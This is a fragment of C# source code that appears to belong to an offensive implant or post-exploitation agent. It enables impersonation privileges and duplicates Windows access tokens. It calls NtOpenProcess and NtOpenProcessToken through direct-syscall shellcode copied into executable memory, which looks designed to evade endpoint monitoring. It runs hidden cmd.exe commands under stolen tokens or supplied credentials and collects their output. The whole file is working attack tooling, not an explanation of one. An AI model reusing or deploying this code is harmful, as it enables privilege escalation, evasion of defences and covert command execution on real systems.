DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[StructLayout(LayoutKind.Sequential)]
public struct Luid
{
public readonly uint LowPart;
public readonly int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LuidAndAttributes
{
public Luid Luid;
public uint Attributes;
}
public struct TokenPrivileges
{
public uint PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = AnySizeArray)]
public LuidAndAttributes[] Privileges;
}
public enum LogonFlags
{
WithProfile = 1,
NetCredentialsOnly
};
[Flags()]
public enum TokenAccessFlags : int
{
StandardRightsRequired = 0x000F0000,
StandardRightsRead = 0x00020000,
TokenAssignPrimary = 0x0001,
TokenDuplicate = 0x0002,
TokenImpersonate = 0x0004,
TokenQuery = 0x0008,
TokenQuerySource = 0x0010,
TokenAdjustPrivileges = 0x0020,
TokenAdjustGroups = 0x0040,
TokenAdjustDefault = 0x0080,
TokenAdjustSessionId = 0x0100,
TokenRead = (StandardRightsRead | TokenQuery),
TokenAllAccess = (StandardRightsRequired | TokenAssignPrimary |
TokenDuplicate | TokenImpersonate | TokenQuery | TokenQuerySource |
TokenAdjustPrivileges | TokenAdjustGroups | TokenAdjustDefault |
TokenAdjustSessionId)
}
public enum SecurityImpersonationLevel
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TokenType
{
TokenPrimary = 1,
TokenImpersonation
}
[Flags]
public enum CreationFlags
{
CreateBreakawayFromJob = 0x01000000,
CreateDefaultErrorMode = 0x04000000,
CreateNewConsole = 0x00000010,
CreateNewProcessGroup = 0x00000200,
CreateNoWindow = 0x08000000,
CreateProtectedProcess = 0x00040000,
CreatePreserveCodeAuthLevel = 0x02000000,
CreateSeparateWowVdm = 0x00001000,
CreateSuspended = 0x00000004,
CreateUnicodeEnvironment = 0x00000400,
DebugOnlyThisProcess = 0x00000002,
DebugProcess = 0x00000001,
DetachedProcess = 0x00000008,
ExtendedStartupInfoPresent = 0x00080000
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct StartupInfo
{
public int cb;
public readonly string lpReserved;
public string lpDesktop;
public readonly string lpTitle;
public readonly int dwX;
public readonly int dwY;
public readonly int dwXSize;
public readonly int dwYSize;
public readonly int dwXCountChars;
public readonly int dwYCountChars;
public readonly int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public readonly short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private enum TokenInformationClass
{
/// The buffer receives a <see cref="TokenUser"/> structure that contains the user account of the token.
TokenUser = 1,
/// The buffer receives a <see cref="TokenGroups"/> structure that contains the group accounts associated with the token.
TokenGroups,
/// The buffer receives a <see cref="TokenPrivileges"/> structure that contains the privileges of the token.
TokenPrivileges,
/// The buffer receives a <see cref="TokenOwner"/> structure that contains the default owner security identifier (SID) for newly created objects.
TokenOwner,
/// The buffer receives a <see cref="TokenPrimaryGroup"/> structure that contains the default primary group SID for newly created objects.
TokenPrimaryGroup,
/// The buffer receives a <see cref="TokenDefaultDacl"/> structure that contains the default DACL for newly created objects.
TokenDefaultDacl,
/// The buffer receives a <see cref="TokenSource"/> structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.
TokenSource,
/// The buffer receives a <see cref="TokenType"/> value that indicates whether the token is a primary or impersonation token.
TokenType,
/// The buffer receives a <see cref="TokenImpersonationLevel"/> value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.
TokenImpersonationLevel,
/// The buffer receives a <see cref="TokenStatistics"/> structure that contains various token statistics.
TokenStatistics,
/// The buffer receives a <see cref="TokenGroups"/> structure that contains the list of restricting SIDs in a restricted token.
TokenRestrictedSids,
/// The buffer receives a <see cref="TokenSessionId"/> as a DWORD value that indicates the Terminal Services session identifier that is associated with the token.
TokenSessionId,
/// The buffer receives a <see cref="TokenGroupsAndPrivileges"/> structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.
TokenGroupsAndPrivileges,
/// Reserved.
TokenSessionReference,
/// The buffer receives a <see cref="TokenSandBoxInert"/> as a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.
TokenSandBoxInert,
/// Reserved.
TokenAuditPolicy,
/// The buffer receives a <see cref="TokenOrigin"/> value.
TokenOrigin,
/// The buffer receives a <see cref="TokenElevationType"/> value that specifies the elevation level of the token.
TokenElevationType,
/// The buffer receives a <see cref="TokenLinkedToken"/> structure that contains a handle to another token that is linked to this token.
TokenLinkedToken,
/// The buffer receives a <see cref="TokenElevation"/> structure that specifies whether the token is elevated.
TokenElevation,
/// The buffer receives a <see cref="TokenHasRestrictions"/> as a DWORD value that is nonzero if the token has ever been filtered.
TokenHasRestrictions,
/// The buffer receives a <see cref="TokenAccessInformation"/> structure that specifies security information contained in the token.
TokenAccessInformation,
/// The buffer receives a <see cref="TokenVirtualizationAllowed"/> as a DWORD value that is nonzero if virtualization is allowed for the token.
TokenVirtualizationAllowed,
/// The buffer receives a <see cref="TokenVirtualizationEnabled"/> as a DWORD value that is nonzero if virtualization is enabled for the token.
TokenVirtualizationEnabled,
/// The buffer receives a <see cref="TokenIntegrityLevel"/> structure that specifies the token's integrity level.
TokenIntegrityLevel,
/// The buffer receives a <see cref="TokenUiAccess"/> as a DWORD value that is nonzero if the token has the UIAccess flag set.
TokenUiAccess,
/// The buffer receives a <see cref="TokenMandatoryPolicy"/> structure that specifies the token's mandatory integrity policy.
TokenMandatoryPolicy,
/// The buffer receives the token's logon security identifier (SID).
TokenLogonSid,
/// The maximum value for this enumeration
MaxTokenInfoClass
}
public enum SystemInformationClass
{
SystemBasicInformation = 0x0000,
SystemProcessorInformation = 0x0001,
SystemPerformanceInformation = 0x0002,
SystemPathInformation = 0x0004,
SystemProcessInformation = 0x0005,
SystemExtendedProcessInformation = 0x0039,
SystemFullProcessInformation = 0x0094,
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public readonly int dwProcessId;
public readonly int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SecurityAttributes
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[Flags]
internal enum MemoryAllocationFlags
{
Commit = 0x01000,
Reserve = 0x02000
}
[Flags]
internal enum MemoryProtectionFlags
{
ExecuteReadWrite = 0x040,
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
private IntPtr objectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
public OBJECT_ATTRIBUTES(string name, uint attrs)
{
Length = 0;
RootDirectory = IntPtr.Zero;
objectName = IntPtr.Zero;
Attributes = attrs;
SecurityDescriptor = IntPtr.Zero;
SecurityQualityOfService = IntPtr.Zero;
Length = Marshal.SizeOf(this);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool AdjustTokenPrivileges(IntPtr tokenHandle, [MarshalAs(UnmanagedType.Bool)]bool disableAllPrivileges, ref TokenPrivileges newState, int zero, IntPtr null1, IntPtr null2);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
TokenAccessFlags dwDesiredAccess,
IntPtr lpThreadAttributes,
SecurityImpersonationLevel impersonationLevel,
TokenType tokenType,
out IntPtr phNewToken);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool CreateProcessAsUserW(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
LogonFlags dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
CreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SecurityAttributes lpPipeAttributes, int nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
string userName,
string domain,
string password,
LogonFlags logonFlags,
string applicationName,
string commandLine,
CreationFlags creationFlags,
uint environment,
string currentDirectory,
ref StartupInfo startupInfo,
out ProcessInformation processInformation);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, TokenInformationClass tokenInformationClass, IntPtr tokenInformation, uint tokenInformationLength, out uint returnLength);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern IntPtr VirtualAlloc(IntPtr baseAddress, UIntPtr size, MemoryAllocationFlags allocationType, MemoryProtectionFlags protection);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out Luid lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr sid, uint subAuthorityIndex);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr sid);
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(SystemInformationClass infoClass, IntPtr info, uint size, out uint length);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtOpenProcessToken(IntPtr processHandle, TokenAccessFlags desiredAccess, out IntPtr tokenHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int NtReadVirtualMemory(IntPtr processHandle, IntPtr baseAddress, out IntPtr buffer, uint numberOfBytesToRead, out IntPtr numberOfBytesReaded);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int NtOpenProcess(ref IntPtr hProcess, ProcessAccessFlags desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, ref CLIENT_ID clientId);
public static bool EnablePrivileges(IntPtr handle, List<string> privileges)
{
foreach (var privilege in privileges)
{
try
{
if (!LookupPrivilegeValue(null, privilege, out var myLuid)) continue;
TokenPrivileges myTokenPrivileges;
myTokenPrivileges.PrivilegeCount = 1;
myTokenPrivileges.Privileges = new LuidAndAttributes[1];
myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
myTokenPrivileges.Privileges[0].Luid = myLuid;
AdjustTokenPrivileges(handle, false, ref myTokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero);
}
catch { return false; }
}
return true;
}
public static void GetProcessHandle(int pid, out IntPtr handle, ProcessAccessFlags flags, SysCallManager sysCall)
{
handle = IntPtr.Zero;
var clientId = new CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero};
var objectAtt = new OBJECT_ATTRIBUTES(null, 0);
var shellCode = sysCall.GetSysCallAsm("NtOpenProcess");
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess));
var token = IntPtr.Zero;
var arguments = new object[] { handle, flags, objectAtt, clientId};
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero;
}
public static void GetProcessToken(IntPtr handle, TokenAccessFlags access, out IntPtr currentToken, SysCallManager sysCall)
{
var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken");
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken));
var token = IntPtr.Zero;
var arguments = new object[] { handle, access, token };
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero;
}
public static void DuplicateToken(IntPtr token, TokenAccessFlags tokenAccess, SecurityImpersonationLevel se, TokenType type, out IntPtr duplicated)
{
if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, se, type, out duplicated))
duplicated = IntPtr.Zero;
}
public static void DetermineImpersonationMethod(IntPtr token, LogonFlags l, StartupInfo startupInfo, out ProcessInformation processInfo)
{
if (CreateProcessAsUserW(token, null, @"c:\windows\system32\cmd.exe /Q /C hostname && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out processInfo))
TokenManager.Method = 1;
else
if (CreateProcessWithTokenW(token, l, null, @"c:\windows\system32\cmd.exe /Q /C hostname && exit", 0,
IntPtr.Zero, null, ref startupInfo, out processInfo))
TokenManager.Method = 2;
}
// Code from https://www.pinvoke.net/default.aspx/Constants/SECURITY_MANDATORY.html
public static bool IsHighIntegrity(SysCallManager sysCall)
{
var hToken = IntPtr.Zero;
GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAllAccess, out hToken,
sysCall);
if (hToken == IntPtr.Zero) return false;
try
{
var pb = Marshal.AllocCoTaskMem(1000);
try
{
uint cb = 1000;
if (GetTokenInformation(hToken, TokenInformationClass.TokenIntegrityLevel, pb, cb, out cb))
{
var pSid = Marshal.ReadIntPtr(pb);
var dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U)));
return dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID;
}
}
finally
{
Marshal.FreeCoTaskMem(pb);
}
}
finally
{
CloseHandle(hToken);
}
return false;
}
public static void Start()
{
var sysCall = new SysCallManager();
try
{
var token = WindowsIdentity.GetCurrent().Token;
var privileges = new List<string>
{
"SeImpersonatePrivilege",
"SeTcbPrivilege",
"SeAssignPrimaryTokenPrivilege",
"SeIncreaseQuotaPrivilege"
};
var currentToken = IntPtr.Zero;
GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAdjustPrivileges, out currentToken,
sysCall);
EnablePrivileges(currentToken, privileges);
CloseHandle(currentToken);
const TokenAccessFlags tokenAccess = TokenAccessFlags.TokenQuery | TokenAccessFlags.TokenAssignPrimary |
TokenAccessFlags.TokenDuplicate | TokenAccessFlags.TokenAdjustDefault |
TokenAccessFlags.TokenAdjustSessionId;
if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, SecurityImpersonationLevel.SecurityImpersonation,
TokenType.TokenPrimary, out var newToken))
return;
var startupInfo = new StartupInfo();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "";
startupInfo.wShowWindow = 0;
startupInfo.dwFlags |= 0x00000001;
const LogonFlags logonFlags = new LogonFlags();
if (CreateProcessAsUserW(newToken, null,
@"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", IntPtr.Zero,
IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _))
{
TokenManager.Token = newToken;
TokenManager.Method = 1;
}
else
{
if (!CreateProcessWithTokenW(newToken, logonFlags, null,
@"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", 0, IntPtr.Zero,
null, ref startupInfo, out _)) return;
TokenManager.Token = newToken;
TokenManager.Method = 2;
}
}
catch
{
}
}
public static string ExecuteCommand(string command)
{
var output = "";
if (TokenManager.Token == IntPtr.Zero && TokenManager.Method == 0)
{
var process = new Process();
var startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = @"C:\windows\system32\cmd.exe",
Arguments = "/C" + command + " && exit",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.Start();
output = process.StandardOutput.ReadToEnd();
if (output == "")
output = string.Concat("ERR:", process.StandardError.ReadToEnd());
process.WaitForExit();
process.Close();
}
else
{
var outRead = IntPtr.Zero;
var outWrite = IntPtr.Zero;
var saAttr = new SecurityAttributes
{
nLength = Marshal.SizeOf(typeof(SecurityAttributes)),
bInheritHandle = true,
lpSecurityDescriptor = IntPtr.Zero
};
CreatePipe(ref outRead, ref outWrite, ref saAttr, 0);
var startupInfo = new StartupInfo();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "";
startupInfo.hStdOutput = outWrite;
startupInfo.hStdError = outWrite;
startupInfo.wShowWindow = 0;
startupInfo.dwFlags |= 0x00000101;
var l = new LogonFlags();
switch (TokenManager.Method)
{
case 1:
CreateProcessAsUserW(TokenManager.Token, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _);
break;
case 2:
CreateProcessWithTokenW(TokenManager.Token, l, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, 0, IntPtr.Zero, null, ref startupInfo, out _);
break;
default:
CreateProcessWithLogonW(TokenManager.Credentials[0], TokenManager.Credentials[1], TokenManager.Credentials[2], l, null, @"c:\windows\system32\cmd.exe /Q /C" + command, 0, 0, null, ref startupInfo, out _);
break;
}
var buf = new byte[100];
var dwRead = 0;
Thread.Sleep(500);
while (true)
{
var bSuccess = ReadFile(outRead, buf, 100, ref dwRead, IntPtr.Zero);
output = string.Concat(output, Encoding.Default.GetString(buf));
if (!bSuccess || dwRead < 100)
break;
}
CloseHandle(outRead);
CloseHandle(outWrite);
}
return output;
}
internal static void RunAs(string domain, string user, string password)
{
var startupInfo = new StartupInfo();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "";
startupInfo.wShowWindow = 0;
startupInfo.dwFlags |= 0x00000001;
const LogonFlags logonFlags = new LogonFlags();
if (!CreateProcessWithLogonW(user, domain, password, logonFlags, null,
@"c:\windows\system32\cmd.exe /Q /C hostname", 0, 0, null, ref startupInfo, out _)) return;
TokenManager.Method = 3;
TokenManager.Credentials[0] = user;
TokenManager.Credentials[1] = domain;
TokenManager.Credentials[2] = password;
}
}
}